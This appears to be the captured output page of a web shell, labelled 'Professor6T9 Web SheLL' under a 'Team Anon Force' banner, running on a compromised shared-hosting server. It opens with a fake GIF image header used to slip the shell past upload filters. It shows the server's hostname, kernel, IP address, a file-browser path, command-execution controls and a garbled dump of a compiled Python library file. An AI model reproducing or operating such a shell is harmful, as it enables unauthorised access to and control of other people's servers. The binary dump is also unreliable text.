GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
proc
/
self
/
root
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
influxdb_client
/
client
/
__pycache__
[ HOME ]
Exec
Submit
File Name : logging_handler.cpython-38.pyc
U ܒi� � @ s. d Z ddlZddlmZ G dd� dej�ZdS )z3Use the influxdb_client with python native logging.� N)�InfluxDBClientc s� e Zd ZdZee�i �j�� �dg Z ddd�� fdd� Z dd� Zdd �� fd d�Zej dd�d d�Zej ed�dd�Z� ZS )�InfluxLoggingHandlerz� InfluxLoggingHandler instances dispatch logging events to influx. There is no need to set a Formatter. The raw input will be passed on to the influx write api. �messageN)�client_args�write_api_argsc s\ t � �� || _|dkri n|}tf |||d�|��| _|dkrDi n|}| jjf |�| _dS )z� Initialize defaults. The arguments `client_args` and `write_api_args` can be dicts of kwargs. They are passed on to the InfluxDBClient and write_api calls respectively. N)�url�token�org)�super�__init__�bucketr �client� write_api)�selfr r r r r r �� __class__� �W/opt/alt/python38/lib/python3.8/site-packages/influxdb_client/client/logging_handler.pyr s zInfluxLoggingHandler.__init__c C s | � � dS )z#Make sure all resources are closed.N)�close�r r r r �__del__"